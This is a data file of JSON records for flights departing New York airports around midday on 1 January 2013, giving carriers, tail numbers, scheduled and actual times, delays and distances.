-{"year":2013,"month":1,"day":1,"dep_time":1157,"sched_dep_time":1200,"dep_delay":-3,"arr_time":1452,"sched_arr_time":1456,"arr_delay":-4,"carrier":"UA","flight":1197,"tailnum":"N13113","origin":"EWR","dest":"MCO","air_time":151,"distance":937,"hour":12,"minute":0,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1158,"sched_dep_time":1205,"dep_delay":-7,"arr_time":1530,"sched_arr_time":1520,"arr_delay":10,"carrier":"AA","flight":743,"tailnum":"N426AA","origin":"LGA","dest":"DFW","air_time":248,"distance":1389,"hour":12,"minute":5,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1158,"sched_dep_time":1200,"dep_delay":-2,"arr_time":1256,"sched_arr_time":1300,"arr_delay":-4,"carrier":"WN","flight":1568,"tailnum":"N783SW","origin":"EWR","dest":"BWI","air_time":38,"distance":169,"hour":12,"minute":0,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1158,"sched_dep_time":1200,"dep_delay":-2,"arr_time":1338,"sched_arr_time":1331,"arr_delay":7,"carrier":"UA","flight":701,"tailnum":"N588UA","origin":"LGA","dest":"ORD","air_time":142,"distance":733,"hour":12,"minute":0,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1200,"sched_dep_time":1200,"dep_delay":0,"arr_time":1408,"sched_arr_time":1356,"arr_delay":12,"carrier":"US","flight":1443,"tailnum":"N755US","origin":"JFK","dest":"CLT","air_time":102,"distance":541,"hour":12,"minute":0,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1202,"sched_dep_time":1207,"dep_delay":-5,"arr_time":1318,"sched_arr_time":1314,"arr_delay":4,"carrier":"EV","flight":4347,"tailnum":"N11536","origin":"EWR","dest":"BTV","air_time":51,"distance":266,"hour":12,"minute":7,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1202,"sched_dep_time":1159,"dep_delay":3,"arr_time":1645,"sched_arr_time":1653,"arr_delay":-8,"carrier":"UA","flight":1663,"tailnum":"N38403","origin":"EWR","dest":"SJU","air_time":187,"distance":1608,"hour":11,"minute":59,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1203,"sched_dep_time":1205,"dep_delay":-2,"arr_time":1501,"sched_arr_time":1437,"arr_delay":24,"carrier":"EV","flight":3850,"tailnum":"N13978","origin":"EWR","dest":"ATL","air_time":142,"distance":746,"hour":12,"minute":5,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1203,"sched_dep_time":1200,"dep_delay":3,"arr_time":1519,"sched_arr_time":1545,"arr_delay":-26,"carrier":"VX","flight":25,"tailnum":"N843VA","origin":"JFK","dest":"SFO","air_time":353,"distance":2586,"hour":12,"minute":0,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1204,"sched_dep_time":1200,"dep_delay":4,"arr_time":1500,"sched_arr_time":1448,"arr_delay":12,"carrier":"B6","flight":523,"tailnum":"N612JB","origin":"EWR","dest":"MCO","air_time":139,"distance":937,"hour":12,"minute":0,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1205,"sched_dep_time":1200,"dep_delay":5,"arr_time":1503,"sched_arr_time":1505,"arr_delay":-2,"carrier":"UA","flight":1461,"tailnum":"N39418","origin":"EWR","dest":"IAH","air_time":221,"distance":1400,"hour":12,"minute":0,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1206,"sched_dep_time":1209,"dep_delay":-3,"arr_time":1325,"sched_arr_time":1328,"arr_delay":-3,"carrier":"EV","flight":4216,"tailnum":"N14168","origin":"EWR","dest":"BUF","air_time":59,"distance":282,"hour":12,"minute":9,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1208,"sched_dep_time":1158,"dep_delay":10,"arr_time":1540,"sched_arr_time":1502,"arr_delay":38,"carrier":"B6","flight":625,"tailnum":"N239JB","origin":"JFK","dest":"HOU","air_time":253,"distance":1428,"hour":11,"minute":58,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1211,"sched_dep_time":1215,"dep_delay":-4,"arr_time":1423,"sched_arr_time":1413,"arr_delay":10,"carrier":"EV","flight":4135,"tailnum":"N21537","origin":"EWR","dest":"CLT","air_time":102,"distance":529,"hour":12,"minute":15,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1217,"sched_dep_time":1220,"dep_delay":-3,"arr_time":1414,"sched_arr_time":1350,"arr_delay":24,"carrier":"MQ","flight":3697,"tailnum":"N517MQ","origin":"EWR","dest":"ORD","air_time":143,"distance":719,"hour":12,"minute":20,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1217,"sched_dep_time":1218,"dep_delay":-1,"arr_time":1525,"sched_arr_time":1529,"arr_delay":-4,"carrier":"UA","flight":391,"tailnum":"N573UA","origin":"EWR","dest":"SFO","air_time":345,"distance":2565,"hour":12,"minute":18,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1219,"sched_dep_time":1220,"dep_delay":-1,"arr_time":1415,"sched_arr_time":1415,"arr_delay":0,"carrier":"AA","flight":1757,"tailnum":"N545AA","origin":"LGA","dest":"STL","air_time":161,"distance":888,"hour":12,"minute":20,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1219,"sched_dep_time":1225,"dep_delay":-6,"arr_time":1451,"sched_arr_time":1500,"arr_delay":-9,"carrier":"DL","flight":1715,"tailnum":"N342NB","origin":"LGA","dest":"MSY","air_time":195,"distance":1183,"hour":12,"minute":25,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1220,"sched_dep_time":1220,"dep_delay":0,"arr_time":1403,"sched_arr_time":1340,"arr_delay":23,"carrier":"WN","flight":133,"tailnum":"N254WN","origin":"EWR","dest":"MDW","air_time":142,"distance":711,"hour":12,"minute":20,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1222,"sched_dep_time":1159,"dep_delay":23,"arr_time":1512,"sched_arr_time":1429,"arr_delay":43,"carrier":"EV","flight":4679,"tailnum":"N14916","origin":"EWR","dest":"JAX","air_time":131,"distance":820,"hour":11,"minute":59,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1222,"sched_dep_time":1229,"dep_delay":-7,"arr_time":1520,"sched_arr_time":1526,"arr_delay":-6,"carrier":"B6","flight":27,"tailnum":"N192JB","origin":"JFK","dest":"TPA","air_time":160,"distance":1005,"hour":12,"minute":29,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1228,"sched_dep_time":1224,"dep_delay":4,"arr_time":1631,"sched_arr_time":1604,"arr_delay":27,"carrier":"UA","flight":1114,"tailnum":"N38459","origin":"EWR","dest":"PHX","air_time":339,"distance":2133,"hour":12,"minute":24,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1230,"sched_dep_time":1235,"dep_delay":-5,"arr_time":1440,"sched_arr_time":1438,"arr_delay":2,"carrier":"EV","flight":5311,"tailnum":"N741EV","origin":"EWR","dest":"DTW","air_time":108,"distance":488,"hour":12,"minute":35,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1231,"sched_dep_time":1238,"dep_delay":-7,"arr_time":1449,"sched_arr_time":1446,"arr_delay":3,"carrier":"DL","flight":1131,"tailnum":"N920DL","origin":"LGA","dest":"DTW","air_time":108,"distance":502,"hour":12,"minute":38,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1231,"sched_dep_time":1229,"dep_delay":2,"arr_time":1523,"sched_arr_time":1529,"arr_delay":-6,"carrier":"UA","flight":428,"tailnum":"N402UA","origin":"EWR","dest":"FLL","air_time":156,"distance":1065,"hour":12,"minute":29,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1237,"sched_dep_time":1245,"dep_delay":-8,"arr_time":1340,"sched_arr_time":1350,"arr_delay":-10,"carrier":"AA","flight":1850,"tailnum":"N3EGAA","origin":"JFK","dest":"BOS","air_time":40,"distance":187,"hour":12,"minute":45,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1238,"sched_dep_time":1240,"dep_delay":-2,"arr_time":1410,"sched_arr_time":1405,"arr_delay":5,"carrier":"WN","flight":564,"tailnum":"N297WN","origin":"LGA","dest":"MKE","air_time":137,"distance":738,"hour":12,"minute":40,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1240,"sched_dep_time":1229,"dep_delay":11,"arr_time":1451,"sched_arr_time":1428,"arr_delay":23,"carrier":"EV","flight":4118,"tailnum":"N14543","origin":"EWR","dest":"DTW","air_time":114,"distance":488,"hour":12,"minute":29,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1240,"sched_dep_time":1245,"dep_delay":-5,"arr_time":1554,"sched_arr_time":1600,"arr_delay":-6,"carrier":"AA","flight":2253,"tailnum":"N3BUAA","origin":"LGA","dest":"MIA","air_time":156,"distance":1096,"hour":12,"minute":45,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1240,"sched_dep_time":1235,"dep_delay":5,"arr_time":1415,"sched_arr_time":1415,"arr_delay":0,"carrier":"MQ","flight":4404,"tailnum":"N828MQ","origin":"JFK","dest":"RDU","air_time":79,"distance":427,"hour":12,"minute":35,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1241,"sched_dep_time":1247,"dep_delay":-6,"arr_time":1342,"sched_arr_time":1355,"arr_delay":-13,"carrier":"EV","flight":4129,"tailnum":"N36915","origin":"EWR","dest":"DCA","air_time":45,"distance":199,"hour":12,"minute":47,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1245,"sched_dep_time":1245,"dep_delay":0,"arr_time":1616,"sched_arr_time":1615,"arr_delay":1,"carrier":"DL","flight":2174,"tailnum":"N711ZX","origin":"JFK","dest":"SLC","air_time":298,"distance":1990,"hour":12,"minute":45,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1245,"sched_dep_time":1249,"dep_delay":-4,"arr_time":1722,"sched_arr_time":1800,"arr_delay":-38,"carrier":"DL","flight":315,"tailnum":"N670DN","origin":"JFK","dest":"SJU","air_time":188,"distance":1598,"hour":12,"minute":49,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1246,"sched_dep_time":1225,"dep_delay":21,"arr_time":1424,"sched_arr_time":1348,"arr_delay":36,"carrier":"B6","flight":66,"tailnum":"N228JB","origin":"JFK","dest":"BUF","air_time":70,"distance":301,"hour":12,"minute":25,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1248,"sched_dep_time":1250,"dep_delay":-2,"arr_time":1607,"sched_arr_time":1607,"arr_delay":0,"carrier":"UA","flight":1280,"tailnum":"N26210","origin":"LGA","dest":"IAH","air_time":238,"distance":1416,"hour":12,"minute":50,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1251,"sched_dep_time":1252,"dep_delay":-1,"arr_time":1611,"sched_arr_time":1555,"arr_delay":16,"carrier":"B6","flight":85,"tailnum":"N657JB","origin":"JFK","dest":"FLL","air_time":173,"distance":1069,"hour":12,"minute":52,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1252,"sched_dep_time":1245,"dep_delay":7,"arr_time":1624,"sched_arr_time":1550,"arr_delay":34,"carrier":"AA","flight":745,"tailnum":"N3FTAA","origin":"LGA","dest":"DFW","air_time":243,"distance":1389,"hour":12,"minute":45,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1253,"sched_dep_time":1212,"dep_delay":41,"arr_time":1524,"sched_arr_time":1436,"arr_delay":48,"carrier":"UA","flight":754,"tailnum":"N576UA","origin":"EWR","dest":"DEN","air_time":252,"distance":1605,"hour":12,"minute":12,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1255,"sched_dep_time":1300,"dep_delay":-5,"arr_time":1541,"sched_arr_time":1537,"arr_delay":4,"carrier":"DL","flight":781,"tailnum":"N644DL","origin":"LGA","dest":"ATL","air_time":132,"distance":762,"hour":13,"minute":0,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1255,"sched_dep_time":1255,"dep_delay":0,"arr_time":1540,"sched_arr_time":1535,"arr_delay":5,"carrier":"WN","flight":1251,"tailnum":"N732SW","origin":"LGA","dest":"DEN","air_time":264,"distance":1620,"hour":12,"minute":55,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1255,"sched_dep_time":1200,"dep_delay":55,"arr_time":1451,"sched_arr_time":1330,"arr_delay":81,"carrier":"MQ","flight":4601,"tailnum":"N518MQ","origin":"LGA","dest":"BNA","air_time":139,"distance":764,"hour":12,"minute":0,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1255,"sched_dep_time":1259,"dep_delay":-4,"arr_time":1501,"sched_arr_time":1502,"arr_delay":-1,"carrier":"US","flight":1459,"tailnum":"N540UW","origin":"LGA","dest":"CLT","air_time":100,"distance":544,"hour":12,"minute":59,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1255,"sched_dep_time":1300,"dep_delay":-5,"arr_time":1401,"sched_arr_time":1409,"arr_delay":-8,"carrier":"US","flight":2128,"tailnum":"N957UW","origin":"LGA","dest":"BOS","air_time":38,"distance":184,"hour":13,"minute":0,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1257,"sched_dep_time":1258,"dep_delay":-1,"arr_time":1601,"sched_arr_time":1610,"arr_delay":-9,"carrier":"B6","flight":209,"tailnum":"N793JB","origin":"JFK","dest":"LGB","air_time":346,"distance":2465,"hour":12,"minute":58,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1257,"sched_dep_time":1300,"dep_delay":-3,"arr_time":1454,"sched_arr_time":1450,"arr_delay":4,"carrier":"MQ","flight":4426,"tailnum":"N739MQ","origin":"LGA","dest":"CMH","air_time":97,"distance":479,"hour":13,"minute":0,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1258,"sched_dep_time":1308,"dep_delay":-10,"arr_time":1532,"sched_arr_time":1537,"arr_delay":-5,"carrier":"FL","flight":348,"tailnum":"N717JL","origin":"LGA","dest":"ATL","air_time":128,"distance":762,"hour":13,"minute":8,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1258,"sched_dep_time":1300,"dep_delay":-2,"arr_time":1459,"sched_arr_time":1440,"arr_delay":19,"carrier":"AA","flight":329,"tailnum":"N511AA","origin":"LGA","dest":"ORD","air_time":147,"distance":733,"hour":13,"minute":0,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1301,"sched_dep_time":1240,"dep_delay":21,"arr_time":1633,"sched_arr_time":1540,"arr_delay":53,"carrier":"AA","flight":1853,"tailnum":"N544AA","origin":"EWR","dest":"DFW","air_time":252,"distance":1372,"hour":12,"minute":40,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1301,"sched_dep_time":1150,"dep_delay":71,"arr_time":1518,"sched_arr_time":1345,"arr_delay":93,"carrier":"MQ","flight":4646,"tailnum":"N542MQ","origin":"LGA","dest":"MSP","air_time":170,"distance":1020,"hour":11,"minute":50,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1301,"sched_dep_time":1255,"dep_delay":6,"arr_time":1629,"sched_arr_time":1603,"arr_delay":26,"carrier":"UA","flight":765,"tailnum":"N825UA","origin":"EWR","dest":"DFW","air_time":243,"distance":1372,"hour":12,"minute":55,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1302,"sched_dep_time":1259,"dep_delay":3,"arr_time":1402,"sched_arr_time":1404,"arr_delay":-2,"carrier":"B6","flight":1006,"tailnum":"N273JB","origin":"JFK","dest":"BOS","air_time":40,"distance":187,"hour":12,"minute":59,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1302,"sched_dep_time":1300,"dep_delay":2,"arr_time":1553,"sched_arr_time":1601,"arr_delay":-8,"carrier":"UA","flight":1435,"tailnum":"N78511","origin":"EWR","dest":"MIA","air_time":158,"distance":1085,"hour":13,"minute":0,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1304,"sched_dep_time":1227,"dep_delay":37,"arr_time":1518,"sched_arr_time":1422,"arr_delay":56,"carrier":"EV","flight":4640,"tailnum":"N19966","origin":"EWR","dest":"DAY","air_time":107,"distance":533,"hour":12,"minute":27,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1304,"sched_dep_time":1259,"dep_delay":5,"arr_time":1430,"sched_arr_time":1418,"arr_delay":12,"carrier":"B6","flight":32,"tailnum":"N346JB","origin":"JFK","dest":"ROC","air_time":65,"distance":264,"hour":12,"minute":59,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1305,"sched_dep_time":1315,"dep_delay":-10,"arr_time":1523,"sched_arr_time":1520,"arr_delay":3,"carrier":"MQ","flight":4564,"tailnum":"N725MQ","origin":"LGA","dest":"DTW","air_time":102,"distance":502,"hour":13,"minute":15,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1306,"sched_dep_time":1240,"dep_delay":26,"arr_time":1622,"sched_arr_time":1555,"arr_delay":27,"carrier":"AA","flight":2041,"tailnum":"N5DMAA","origin":"JFK","dest":"MIA","air_time":163,"distance":1089,"hour":12,"minute":40,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1306,"sched_dep_time":1300,"dep_delay":6,"arr_time":1622,"sched_arr_time":1610,"arr_delay":12,"carrier":"WN","flight":2596,"tailnum":"N773SA","origin":"EWR","dest":"HOU","air_time":239,"distance":1411,"hour":13,"minute":0,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1310,"sched_dep_time":1300,"dep_delay":10,"arr_time":1559,"sched_arr_time":1554,"arr_delay":5,"carrier":"B6","flight":991,"tailnum":"N593JB","origin":"JFK","dest":"PBI","air_time":150,"distance":1028,"hour":13,"minute":0,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1314,"sched_dep_time":1315,"dep_delay":-1,"arr_time":1507,"sched_arr_time":1505,"arr_delay":2,"carrier":"US","flight":1615,"tailnum":"N177US","origin":"EWR","dest":"CLT","air_time":95,"distance":529,"hour":13,"minute":15,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1315,"sched_dep_time":1317,"dep_delay":-2,"arr_time":1413,"sched_arr_time":1423,"arr_delay":-10,"carrier":"EV","flight":4112,"tailnum":"N13538","origin":"EWR","dest":"ALB","air_time":33,"distance":143,"hour":13,"minute":17,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1316,"sched_dep_time":1314,"dep_delay":2,"arr_time":1412,"sched_arr_time":1415,"arr_delay":-3,"carrier":"EV","flight":4340,"tailnum":"N11551","origin":"EWR","dest":"BWI","air_time":38,"distance":169,"hour":13,"minute":14,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1317,"sched_dep_time":1325,"dep_delay":-8,"arr_time":1454,"sched_arr_time":1505,"arr_delay":-11,"carrier":"MQ","flight":4475,"tailnum":"N711MQ","origin":"LGA","dest":"RDU","air_time":80,"distance":431,"hour":13,"minute":25,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1318,"sched_dep_time":1322,"dep_delay":-4,"arr_time":1358,"sched_arr_time":1416,"arr_delay":-18,"carrier":"EV","flight":4106,"tailnum":"N19554","origin":"EWR","dest":"BDL","air_time":25,"distance":116,"hour":13,"minute":22,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1320,"sched_dep_time":1315,"dep_delay":5,"arr_time":1602,"sched_arr_time":1605,"arr_delay":-3,"carrier":"B6","flight":393,"tailnum":"N537JB","origin":"LGA","dest":"MCO","air_time":140,"distance":950,"hour":13,"minute":15,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1320,"sched_dep_time":1320,"dep_delay":0,"arr_time":1625,"sched_arr_time":1636,"arr_delay":-11,"carrier":"UA","flight":1425,"tailnum":"N58101","origin":"EWR","dest":"LAX","air_time":334,"distance":2454,"hour":13,"minute":20,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1323,"sched_dep_time":1300,"dep_delay":23,"arr_time":1651,"sched_arr_time":1608,"arr_delay":43,"carrier":"DL","flight":1185,"tailnum":"N3736C","origin":"EWR","dest":"SLC","air_time":295,"distance":1969,"hour":13,"minute":0,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1325,"sched_dep_time":1330,"dep_delay":-5,"arr_time":1606,"sched_arr_time":1605,"arr_delay":1,"carrier":"DL","flight":2043,"tailnum":"N318US","origin":"JFK","dest":"ATL","air_time":131,"distance":760,"hour":13,"minute":30,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1327,"sched_dep_time":1330,"dep_delay":-3,"arr_time":1638,"sched_arr_time":1655,"arr_delay":-17,"carrier":"VX","flight":411,"tailnum":"N642VA","origin":"JFK","dest":"LAX","air_time":352,"distance":2475,"hour":13,"minute":30,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1327,"sched_dep_time":1329,"dep_delay":-2,"arr_time":1624,"sched_arr_time":1629,"arr_delay":-5,"carrier":"UA","flight":906,"tailnum":"N847UA","origin":"EWR","dest":"FLL","air_time":157,"distance":1065,"hour":13,"minute":29,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1330,"sched_dep_time":1321,"dep_delay":9,"arr_time":1613,"sched_arr_time":1536,"arr_delay":37,"carrier":"EV","flight":3849,"tailnum":"N14558","origin":"EWR","dest":"IND","air_time":149,"distance":645,"hour":13,"minute":21,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1333,"sched_dep_time":1335,"dep_delay":-2,"arr_time":1608,"sched_arr_time":1608,"arr_delay":0,"carrier":"B6","flight":615,"tailnum":"N306JB","origin":"JFK","dest":"JAX","air_time":134,"distance":828,"hour":13,"minute":35,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1336,"sched_dep_time":1340,"dep_delay":-4,"arr_time":1508,"sched_arr_time":1500,"arr_delay":8,"carrier":"EV","flight":4665,"tailnum":"N13988","origin":"EWR","dest":"PIT","air_time":69,"distance":319,"hour":13,"minute":40,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1337,"sched_dep_time":1220,"dep_delay":77,"arr_time":1649,"sched_arr_time":1531,"arr_delay":78,"carrier":"B6","flight":673,"tailnum":"N636JB","origin":"JFK","dest":"LAX","air_time":352,"distance":2475,"hour":12,"minute":20,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1339,"sched_dep_time":1345,"dep_delay":-6,"arr_time":1642,"sched_arr_time":1705,"arr_delay":-23,"carrier":"AA","flight":1073,"tailnum":"N3EMAA","origin":"LGA","dest":"MIA","air_time":161,"distance":1096,"hour":13,"minute":45,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1339,"sched_dep_time":1335,"dep_delay":4,"arr_time":1654,"sched_arr_time":1631,"arr_delay":23,"carrier":"B6","flight":431,"tailnum":"N510JB","origin":"LGA","dest":"SRQ","air_time":170,"distance":1047,"hour":13,"minute":35,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1341,"sched_dep_time":1345,"dep_delay":-4,"arr_time":1709,"sched_arr_time":1705,"arr_delay":4,"carrier":"AA","flight":117,"tailnum":"N339AA","origin":"JFK","dest":"LAX","air_time":362,"distance":2475,"hour":13,"minute":45,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1342,"sched_dep_time":1320,"dep_delay":22,"arr_time":1617,"sched_arr_time":1504,"arr_delay":73,"carrier":"EV","flight":3832,"tailnum":"N13969","origin":"EWR","dest":"STL","air_time":194,"distance":872,"hour":13,"minute":20,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1343,"sched_dep_time":1330,"dep_delay":13,"arr_time":1658,"sched_arr_time":1640,"arr_delay":18,"carrier":"AA","flight":753,"tailnum":"N3CFAA","origin":"LGA","dest":"DFW","air_time":235,"distance":1389,"hour":13,"minute":30,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1344,"sched_dep_time":1344,"dep_delay":0,"arr_time":2005,"sched_arr_time":1944,"arr_delay":21,"carrier":"UA","flight":15,"tailnum":"N76065","origin":"EWR","dest":"HNL","air_time":656,"distance":4963,"hour":13,"minute":44,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1346,"sched_dep_time":1330,"dep_delay":16,"arr_time":1736,"sched_arr_time":1710,"arr_delay":26,"carrier":"WN","flight":2335,"tailnum":"N900WN","origin":"EWR","dest":"PHX","air_time":334,"distance":2133,"hour":13,"minute":30,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1350,"sched_dep_time":1329,"dep_delay":21,"arr_time":1504,"sched_arr_time":1453,"arr_delay":11,"carrier":"EV","flight":4254,"tailnum":"N14542","origin":"EWR","dest":"BUF","air_time":57,"distance":282,"hour":13,"minute":29,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1350,"sched_dep_time":1355,"dep_delay":-5,"arr_time":1456,"sched_arr_time":1510,"arr_delay":-14,"carrier":"B6","flight":602,"tailnum":"N216JB","origin":"JFK","dest":"PWM","air_time":49,"distance":273,"hour":13,"minute":55,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1351,"sched_dep_time":1355,"dep_delay":-4,"arr_time":1446,"sched_arr_time":1459,"arr_delay":-13,"carrier":"EV","flight":4434,"tailnum":"N13566","origin":"EWR","dest":"MHT","air_time":37,"distance":209,"hour":13,"minute":55,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1353,"sched_dep_time":1357,"dep_delay":-4,"arr_time":1549,"sched_arr_time":1525,"arr_delay":24,"carrier":"EV","flight":4171,"tailnum":"N14105","origin":"EWR","dest":"MSN","air_time":152,"distance":799,"hour":13,"minute":57,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1354,"sched_dep_time":1356,"dep_delay":-2,"arr_time":1556,"sched_arr_time":1600,"arr_delay":-4,"carrier":"EV","flight":4370,"tailnum":"N23139","origin":"EWR","dest":"CHS","air_time":102,"distance":628,"hour":13,"minute":56,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1354,"sched_dep_time":1359,"dep_delay":-5,"arr_time":1452,"sched_arr_time":1514,"arr_delay":-22,"carrier":"DL","flight":2068,"tailnum":"N344NB","origin":"JFK","dest":"BOS","air_time":37,"distance":187,"hour":13,"minute":59,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1355,"sched_dep_time":1315,"dep_delay":40,"arr_time":1538,"sched_arr_time":1452,"arr_delay":46,"carrier":"EV","flight":4552,"tailnum":"N13958","origin":"EWR","dest":"GSO","air_time":86,"distance":445,"hour":13,"minute":15,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1355,"sched_dep_time":1356,"dep_delay":-1,"arr_time":1646,"sched_arr_time":1650,"arr_delay":-4,"carrier":"B6","flight":1783,"tailnum":"N709JB","origin":"JFK","dest":"MCO","air_time":144,"distance":944,"hour":13,"minute":56,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1355,"sched_dep_time":1350,"dep_delay":5,"arr_time":1537,"sched_arr_time":1515,"arr_delay":22,"carrier":"WN","flight":2162,"tailnum":"N7704B","origin":"LGA","dest":"MDW","air_time":141,"distance":725,"hour":13,"minute":50,"time_hour":"2013-01-01 13:00:00"} 